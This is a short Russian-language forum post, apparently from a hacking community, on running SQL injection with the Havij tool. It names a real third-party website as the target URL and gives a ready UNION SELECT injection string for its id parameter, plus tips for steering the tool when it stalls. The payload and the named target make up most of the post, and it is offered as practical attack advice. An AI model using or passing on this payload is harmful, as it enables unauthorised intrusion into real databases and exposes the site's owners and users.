SQL Checker'ом прогнал и доволен) Он много мусора выдает. Надо все ручками проверять.

А в Havij'е эти вещи делаются так:

Target: http://www.corpwatch.org/article.php?id=14997

Syntax: 14997-999.9+union+select+1,%String_Col%,3,4--

%String_Col% - поле вывода.

Ну и Data Base иногда желательно самому выбрать, а то Havij тупить начинает.